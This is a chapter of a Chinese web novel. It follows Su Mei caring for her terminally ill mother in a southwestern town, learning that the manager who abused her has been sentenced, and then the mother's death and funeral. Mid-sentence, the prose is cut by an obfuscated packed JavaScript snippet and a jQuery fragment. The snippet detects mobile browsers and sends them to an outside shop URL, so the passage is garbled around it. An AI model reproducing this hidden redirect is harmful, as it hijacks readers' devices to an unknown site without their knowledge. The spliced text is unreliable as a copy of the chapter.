默认冷灰
24号文字
方正启体

23. 第二十三章 秋深辞

作者:丁子十六本书字数:K更新时间:
    色洪的深秋,总带着一股挥之不去的、渗入骨缝的潮寒。风从山坳里卷过来,不再是夏日的燥热或初秋的爽利,而是缠着一层湿漉漉的、阴冷的雾气,掠过开始大片枯黄的野草,掠过镇子上空常年缭绕的、淡淡的煤烟,钻进每家每户门窗的缝隙。天空常常是铅灰色的,低低压着,难得见到完整的太阳,偶有一角苍白的日头露出来,也像隔了层毛玻璃,有光无热。山林的颜色变得沉郁,红黄驳杂,却是一种即将凋零前的、喧闹而疲惫的绚烂。


    2015年春天,她带着一身洗不尽的疲惫和心头压着两块巨石的重量(母亲的病,田閖的局),回到了这座生养她、却又早早被她“逃离”的西南小镇。


    母亲的病情,并未像最初县医院医生断言的那样,在半年内急转直下。或许是她骨子里那份山村教师特有的、沉默的坚韧起了作用,又或许是苏梅和舅舅近乎笨拙却精细的护理起了效果,癌细胞的进程被某种顽强的生命力拖慢了。它像一条阴险而耐心的藤蔓,在母亲的身体里缓慢地、持续地蔓延、扎根,消耗着她的气血,却未立刻将她摧垮。从2015年春到2016年秋,一年半的时间,母亲大多数时候是躺在老屋那张吱呀作响的旧床上,在昏睡、半昏睡和短暂的清醒间反复。疼痛时有发生,尤其在骨骼转移的部位,但通过卫生院医生开具的、逐渐加量的止痛药物,大多能被控制在可以忍受的范围内,并未出现影视剧中那种撕心裂肺、持续不断的极端痛苦。更多时候,母亲呈现的是一种深重的、无法驱散的疲惫和全身机能的缓慢衰退——食欲几乎消失,靠流食和营养液维持;肌肉日渐萎缩,四肢细瘦如柴;说话的气力越来越微弱,到最后,连睁开眼都仿佛需要耗费极大的努力。


    这漫长而压抑的陪护,耗尽着所有人的心力。舅舅陈大勇除了跑车,几乎所有空闲时间都耗在老屋。弟弟苏柏大学毕业后,在省城找到一份工作,但每逢节假日必定赶回来,替换苏梅,陪在母亲床边说说话,尽管母亲能回应的越来越少。父亲苏建国常年瘫痪在另一间屋里,精神状况也不是特别好,意识时而清醒时而模糊,但每当母亲屋里传来细微的动静或压抑的呻吟,他浑浊的眼睛总会直直地盯着天花板,喉咙里发出嗬嗬的、无人能懂的声音。


    苏梅也沉默着。她小心地伺候着,动作轻柔,眼神低垂,很少与母亲对视,更少主动开口说话。千言万语,都堵在喉咙里,被现实的重压和过往的隔阂,碾成了粉末,随风散去。她知道,那记耳光的裂痕,锦江边决绝的纵身,早已在母女之间划下了难以逾越的鸿沟。有些伤害,无法用“迫不得已”来弥补;有些选择,注定要背负一生的债。她现在能做的,也只是还债,用这种最原始、最笨拙的方式,陪伴母亲走完最后一程,算是……一个交代。


    田閖的消息,像隔着一层厚厚的毛玻璃,模糊,断续,带着不真切的遥远感。


    起初,她还会去镇上唯一一家小网吧,极其谨慎地搜索“华丰集团田閖审计”之类的关键词,但能查到的公开信息极少,只有一些地方新闻网站上,语焉不详地提及“某国企分公司开展年度审计”、“持续优化营商环境”之类的官方套话。没有名字,没有具体事件,平静得令人心焦。


    她试图从仅有的几个模糊信息中拼凑图景:审计持续时间不短;似乎有中层干部被调离原岗;集团层面派了工作组……但这些都像雾里看花。王国华是否倒台?李春梅、刘艳、方晴是否安然度过?张建业的“刀”最终砍下去了吗?她一无所知。


    焦虑如同无声的蚁群,在每一个守夜的深夜,啃噬着她的神经。她既盼着听到那个恶人遭报应的消息,又恐惧听到任何涉及“会计李春梅”、“采购员刘艳”、“销售方晴”的名字出现在不好的新闻里。那种悬在半空、无从落地的感觉,比在田閖时身处局中的紧张,更添一份无能为力的煎熬。


    她逐渐意识到,这种无谓的打探不仅危险(尽管她自认已处理干净,但谨慎已成本能),而且徒劳。于是,她强迫自己不再去搜索。将全部精力投入到照顾母亲和维持最基本生计上。


    日子在药味、消毒水味、廉价商品的气味和母亲日渐衰弱的呼吸中,一天天缓慢地爬行。家里的空气常年弥漫着中药、消毒水、以及久病之人身上特有的、略带甜腥的衰败气息。日子黏稠得化不开,每一天都像是前一天的复制,只在母亲偶尔变化的体征和窗外更迭的季节上,留下模糊的刻度。


    2016年夏天太过炙热,好不容易秋天来了,母亲清醒的时间锐减。镇卫生院的杨医生来看过几次,私下对苏梅和舅舅说:“老人家各个器官的功能都在明显下降,这是自然进程。疼,咱们尽量用药控制。但她现在这样子,住在医院和住在家里,实质上区别不大了。医院环境嘈杂,来来往往,反倒不安生。如果家里条件允许,护理跟得上,在家里……或许更好些。”医生顿了顿,声音放得更低,“最后这段路,人还是在自己熟悉的地方,有家人陪着,走得……更踏实。”


    家的全部重心,都围绕着那张病榻。苏梅看着母亲一点点被抽空,像一幅原本色彩浓烈、线条刚劲的木版年画,在岁月和病痛的风化下,渐渐褪色、脆化,只剩下一个模糊的、一触即碎的轮廓。心痛是钝的,绵长的,像冬日里永远晒不暖的被子,沉沉地裹着她。


    母亲清醒的时刻越来越少,但偶尔,在阳光透过糊着旧报纸的窗户,落在她脸上的时候,她会长时间地看着苏梅忙前忙后的身影。那目光不再空洞,而是带着一种极其复杂的、苏梅难以完全解读的意味:有审视,有困惑,或许还有一丝极其微弱的、被深深掩藏起来的……心疼?


    有一次,苏梅给她擦拭身体,碰到她嶙峋的肋骨。母亲忽然极其轻微地动了一下嘴唇,声音几不可闻:“……瘦了。”


    苏梅的手顿住了。眼眶瞬间发热。她没敢抬头,只是更轻柔地继续手里的动作,喉咙哽得发痛。


    还有一次,夜里母亲被噩梦魇住,呼吸急促,胡乱挥手。苏梅握住她枯瘦冰凉的手,低声唤:“妈,妈,我在这儿。”母亲慢慢平静下来,反手,用几乎察觉不到的力道,捏了一下她的指尖。很轻,很短暂,却像一道细微的电流,瞬间击穿了苏梅包裹已久的冰层。那一夜,她握着母亲的手,在床边坐了许久,泪水无声地淌了满脸。


    没有道歉,没有原谅的言辞。只有这些在病痛与死亡阴影下,本能流露出的、最细微的肢体接触和破碎音节。像冬日冻土深处,极其缓慢渗出的、几乎无法感知的暖意。但这对于苏梅而言,已经足够了。这沉默的、近乎无意识的触碰,比任何言语都更有力量。它无法弥合过去的裂痕,却像是在深渊之上,搭起了一根细若发丝、却真实存在的绳索。让她知道,在母亲生命最后的刻度上,“女儿”这个身份,终究没有被彻底抹去。


    2016年的某一个秋天,苏梅去镇卫生院帮母亲拿药,在等待时,旁边一个看报纸的老头,边看边摇头嘟囔:“现在这些人,胆子是真大……你看,田閖那边,一个分公司老总,判了十几年……”


    苏梅的耳朵立刻竖了起来,全身的血液仿佛瞬间涌向头顶,又迅速褪去,留下冰冷的麻木。她竭力控制着自己的表情和呼吸,她想开口问,又怕引起注意。最终,在老头起身离开时,她鼓起全部的勇气,用尽可能平静随意的语气问:“大爷,您刚才说田閖……什么事啊?我有个远房亲戚好像在那儿。”


    老头看了她一眼,大概觉得这姑娘面善,又叹了口气:“可不就是华丰公司嘛,听说是个总经理,姓王还是姓黄来着……贪污,受贿,还有什么……欺负女下属,情节恶劣,数罪并罚,判得不轻。报纸上写了几句,喏,就这儿。”他指了指社会新闻版一个不起眼的角落。


    苏梅的目光迅速扫过。标题很简短:“华丰田閖分公司原总经理王国华一审获刑”。正文只有寥寥数行,提及“利用职务便利”、“非法收受巨额财物”、“生活腐化”等字眼,没有细节,没有受害者姓名,没有提到任何“会计”、“采购”、“销售”。像一块投入深潭的小石子,只溅起几乎看不见的涟漪,就迅速沉没,被更多五花八门的新闻淹没。


    老头拿着报纸走了。苏梅站在原地,手心里全是汗,扶着轮椅的指节因为用力而发白。王国华……判了。十几年。那个名字,那座压在她和另外三个女人心头多年的噩梦般的山,真的……崩塌了?


    没有预想中的狂喜,没有激动的泪水,甚至没有多少“大仇得报”的快意。只有一种极其复杂的、空落落的感觉,像长时间紧绷的弓弦骤然松开,不是轻松,而是带着撕裂感的麻木,和一丝难以置信的恍惚。真的……结束了?就这么……结束了?报纸上那几行冰冷的铅字,就是她们近两年忍辱负重、殚精竭虑、在刀尖上行走所换来的全部结果?


    那天晚上,她彻夜未眠。脑子里反复回放着仓库结盟的阴冷、打磨线头的专注、投递匿名信时的紧张、约谈室里的煎熬、以及离开时雨雪纷飞的站台……最后,定格在那几行简短的新闻报道上。一种迟来的、深沉的疲惫,如同涨潮的海水,缓慢而坚定地淹没了她。她想哭,却流不出眼泪;想笑,嘴角却沉重得抬不起来。


    后来,她又从不同渠道(镇上偶尔来的外地货车司机闲聊,舅舅去县里办事听到的零星传闻)确认了更多细节:王国华是被审计查出经济问题,然后牵扯出其他事情;公司里确实有几个中层也被处理了;案子在本地还算有点动静,但很快就被新的热点覆盖。始终,没有听到李春梅、刘艳、方晴任何一个人的名字出现在不好的传闻里。这大概就是最好的消息——她们安全度过了风暴,没有被卷进去,至少,明面上没有。


    苏梅悬了许久的心,终于一点点落回实处,落进一片荒芜的平静里。局,作成了。刀,借到了。仇,报了。


    日子继续向前。母亲的生命力如同风中的残烛,明明灭灭,却顽强地坚持着。


    最后一次从卫生院输完液回来的路上,母亲在轮椅上极其虚弱地动了动手指,示意苏梅停下。苏梅蹲下身,凑近她。母亲枯瘦的脸颊陷在厚厚的围巾里,嘴唇翕动了许久,才发出一点微弱的气音:“……回……家。”两个字,耗尽了力气,却异常清晰。


    苏梅鼻子一酸,用力点头:“好,妈,咱们回家。再也不去医院了。”


    于是,母亲的生命最终章节,在老屋那间光线昏暗、墙壁被烟火熏得微黄的房间里,缓缓展开。所有复杂的治疗手段都已停止,只保留最基本的镇痛、维持电解质平衡和缓解症状的支持。苏梅几乎寸步不离。舅舅每天过来,弟弟苏柏也请了年假,赶了回来。瘫痪的父亲也被挪到了母亲房间对面,门开着,让他能感觉到这边的动静。


    深秋的寒意一日重过一日。老屋门窗紧闭,烧着炭盆,却依然驱不散那股从地底、从墙壁渗出来的阴冷。母亲大部分时间沉睡着,呼吸轻浅,胸口几乎看不出起伏,像一片即将燃尽的纸灰,安静地搁在岁月的风里。偶尔,她会睁开眼,眼神起初是涣散的,茫然地掠过糊着旧报纸的房梁、斑驳的墙壁,然后,极其缓慢地,落在守在床边的苏梅脸上,或者,落在闻声凑过来的苏柏、舅舅的脸上。那目光没有太多内容,没有对死亡的恐惧,也没有对生命的留恋,只有一种深不见底的、近乎虚无的平静,仿佛她已经提前去往了某个地方,此刻留下的,只是一具缓缓归于沉寂的躯壳。


    疼痛还是会袭来,尤其在夜里。母亲会无意识地蹙紧眉头,喉咙里发出一点压抑的、痛苦的闷哼。苏梅立刻会握住她冰凉的手,轻声唤她,同时查看止痛药的时间。有时候,需要加一点剂量。药物起效后,母亲会重新陷入昏睡,眉头渐渐松开。整个过程,安静得令人心碎。没有哭喊,没有挣扎,只有病魔与药物在她残破的身体里进行着沉默的拉锯。


    苏梅学会了通过母亲呼吸的深浅、眉心的皱褶、手指无意识的蜷缩,来判断她的状态。她像守护着一盏在狂风中摇曳、随时可能熄灭的油灯,用全部的注意力和细微的照料,努力维持着那一点微弱的光亮,尽管她知道,油终将耗尽,熄灭是唯一的结局。


    父亲苏建国那边,偶尔会传来含糊的呜咽或敲击床板的声音。苏柏或舅舅会过去看看,帮他翻身,擦拭。更多时候,父亲只是睁着眼,望着对面房间的门,眼角有浑浊的泪水缓缓滑落,浸入花白的鬓角。他或许明白正在发生什么,或许不完全明白,但那种弥漫在整个家里的、沉重的离别气息,他一定能感受到。


    时间在炭火的噼啪声、母亲断续的呼吸声、窗外呼啸的风声中,粘稠地流淌。十一月,色洪落了第一场霜。清晨推开窗,能看到远处山巅一层薄薄的白,像撒了层盐。院子里的老梨树叶子几乎掉光了,黑色的枝丫嶙峋地指向灰白的天穹,有种孤绝的美。


    十一月中旬的一天,天气格外阴冷,铅云低垂,似乎酝酿着一场冬雨。母亲从早上起就睡得很沉,呼吸微弱而平稳。苏梅像往常一样,每隔一会儿就用棉签蘸了温水,轻轻润湿她干裂起皮的嘴唇。舅舅去镇上买些必要的用品,苏柏在厨房熬着粥。


    午后,天色更加晦暗。母亲忽然动了动眼皮,然后,极其缓慢地,睁开了眼睛。这一次,她的眼神不像往常那样涣散,反而有一种回光返照般的、异样的清明。她转动眼珠,先是看了看守在床边的苏梅,然后,目光掠过苏梅,投向门口——苏柏听到动静,端着一碗温水走了进来。再然后,她似乎用尽力气,将视线转向对面敞开的房门,那里,隐约


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316849|198959||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能看到父亲躺着的床脚。


    苏梅的心猛地一紧,下意识地握紧了母亲的手,低声唤:“妈?”


    母亲没有回应她,目光在儿子、女儿的脸上,以及对面房间的方向,缓缓地、留恋般地扫过。那目光里,第一次如此清晰地,映出了属于“母亲”的、深藏于平静之下的无尽牵挂与不舍。她枯槁的面容,在这一刻,竟奇异地褪去了一些病容的灰败,显出一种近乎庄严的温柔。


    她的嘴唇开始极其轻微地颤抖,嚅动着,却发不出声音。苏梅连忙俯身,将耳朵凑到她的唇边。


    没有气流,只有微弱的口型。


    苏梅看懂了。和那个雪夜一样,是三个字的形状——


    “好……好……的……”


    泪水瞬间冲破眼眶,汹涌而出,模糊了苏梅的视线。她用力点头,哽咽着,语无伦次:“我知道……妈,我知道……你放心,我会好好的,苏柏也会,爸……我们都会好好的……你放心……”她紧紧攥着母亲的手,仿佛想把自己的生命力量传递过去,又仿佛想抓住这最后一丝正在飞速流逝的温存。


    苏柏也红了眼眶,蹲在床边,握住母亲的另一只手,声音沙哑:“妈,你别担心,我们都长大了,能照顾好自己,照顾好爸。”


    母亲似乎听到了,又似乎只是耗尽了最后支撑着她回望人间的气力。她眼中那点清明像风中的烛火,迅速摇曳、黯淡下去。目光重新变得空茫,缓缓地,重新阖上。握住苏梅和苏柏的手,那一点点微弱的、属于生命的力道,如同退潮般,无声无息地消散了。手指松弛开来,温顺地垂落。


    呼吸,在某一刻,极其轻微地顿了一下,然后,像是叹息般,吐出了最后一缕悠长的、微弱的气息。随后,胸膛不再起伏。


    屋内一片死寂。只有炭火偶尔爆出一点火星,窗外风声呜咽。


    苏梅握着母亲已然冰凉的手,保持着俯身的姿势,泪水大颗大颗地滴落在母亲瘦骨嶙峋的手背上,晕开一片湿痕。她没有哭出声,只是肩膀无法抑制地微微耸动。巨大的悲伤如同实质的潮水,瞬间将她淹没,但那悲伤之中,竟奇异地混杂着一丝如释重负——为母亲,也为自己。这漫长而痛苦的跋涉,终于到了终点。


    苏柏跪在床边,将脸埋在母亲的手边,压抑的哭声闷闷地传出来。


    对面房间,传来父亲苏建国一声拉长的、含糊的、如同受伤野兽般的悲鸣,然后是拳头无力捶打床板的闷响。


    舅舅陈大勇拎着东西推门进来,看到屋内的情景,手里的袋子“啪”地掉在地上,他僵在门口,这个憨厚坚忍的汉子,眼圈迅速红了,用力抹了把脸,却抹不尽滚滚而下的泪水。


    深秋的阴冷,一丝丝渗透进来。屋外,酝酿已久的雨,终于开始落了。不是夏日的瓢泼,而是深秋特有的、细密绵长的冷雨,敲打着瓦片,淅淅沥沥,仿佛天地也在低声啜泣。


    母亲走了。在这个色洪深秋的雨日下午,在生活了一辈子的老屋里,在丈夫无声的悲鸣、儿女的泪眼和兄弟的守护中,安静地停止了呼吸。带走了病痛,带走了疲惫,带走了对这个让她操劳一生、却也羁绊一生的家庭最后的、无声的牵挂。


    没有挣扎,没有剧痛,只有生命之灯油尽后的、自然而然的熄灭。如同一片在枝头悬了太久的秋叶,终于抵不住季节的重量和风霜的催促,悄然脱离,飘落归根。


    苏梅不知道母亲最后是否感知到了疼痛,或许有,但在强效药物的缓和下,在意识逐渐抽离的过程中,那疼痛也变成了遥远而模糊的背景。母亲留给他们的最后画面,是那一眼清明中的牵挂,和那句无声的嘱托。这或许,已是这场漫长而残酷的疾病所能给予的、最后一点仁慈。


    接下来的日子,是在一种麻木而遵循古老仪式的忙碌中度过的。报丧,设灵,守夜,接待前来吊唁的、稀稀拉拉的亲戚邻居。母亲生前人缘不错,虽然清贫刚烈,但作为乡村教师,颇受尊重。来的人们叹息着,安慰着,帮忙张罗着。父亲苏建国被搀扶着,在灵前坐了一会儿,浑浊的老泪一直流,嘴里咿咿呀呀,无人能懂,但那悲痛是真实的。苏柏作为儿子,承担了许多对外事宜。苏梅则沉默地处理着各种琐碎,安排饭菜,答谢帮忙的人,在夜深人静时,为母亲更换寿衣,整理遗容。她的动作仔细而轻柔,仿佛母亲只是睡着了。


    出殡那日,雨停了,但天色依旧阴沉。抬棺的汉子们喊着号子,将母亲的棺木抬出老屋,沿着湿滑的石板路,走向镇子后山的家族坟地。送行的队伍不长,唢呐声在空旷的山野间吹得凄清寥落。纸钱纷飞,落在泥泞的路面和枯黄的草叶上。


    棺木入土,黄土掩埋。一座新坟立起,碑文简单。苏梅、苏柏、舅舅,还有几个近亲,在坟前烧纸,磕头。鞭炮声炸响,硝烟味混合着泥土和草木的气息,在山风中弥漫开来。


    一切尘埃落定。帮忙的亲友散去,老屋重新变得空荡而冷清。只剩下炭火熄灭后的余烬味道,和无处不在的、属于逝者的寂静。


    苏梅站在院子里,望着后山的方向。秋雨洗过的天空,露出一角冷冷的青灰色。远山如黛,层林尽染,是深秋最后的、浓烈到极致即将凋零的色彩。


    从父亲出事、她被迫辍学离家,到2013年母亲确诊、她沉入霓虹又投江被救,再到2014年重返田閖、作局复仇,直至2015年归来陪护、2016年深秋送别……这些都是她苦难的生活,都被算计、恐惧、煎熬和漫长的陪伴填满满的,没有一丝喘息。如今,所有的巨浪似乎都暂时平息了。父亲还在,但已是风烛残年;弟弟成人,有了自己的路;田閖的仇,报了;母亲的债,陪完了。


    心头那两块巨石,一块(田閖)已然崩解,另一块(母亲)沉沉落地。留下一个巨大而空旷的、带着回响的坑洞,以及一身仿佛被抽空了所有力气的、深入骨髓的疲惫。


    她没有立刻离开色洪。按照习俗,她守完了“七七”。每天去坟前看看,清理杂草,烧点纸钱。其余时间,沉默地打理老屋,照顾父亲。舅舅依旧时常过来帮忙。苏柏的假期结束,回了省城,临走前,姐弟俩在母亲坟前站了很久,没有多话,只是约好常联系,照顾好父亲。


    日子恢复了另一种平静,一种带着缺憾和悲伤底色的平静。但苏梅知道,她不能永远留在色洪。这里的一切都绑着过去的绳索,勒得她喘不过气。母亲用最后那句“好好的”,或许也是在告诉她,该往前走了。


    2017年春天,苏梅离开了色洪。将父亲托付给舅舅和偶尔能回来的苏柏,带着简单的行李和为数不多的积蓄,坐上了开往县城的小巴。


    车窗外,色洪的群山在晨曦中缓缓后退。母亲的坟,在老屋后山的松柏林间,再也看不见了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)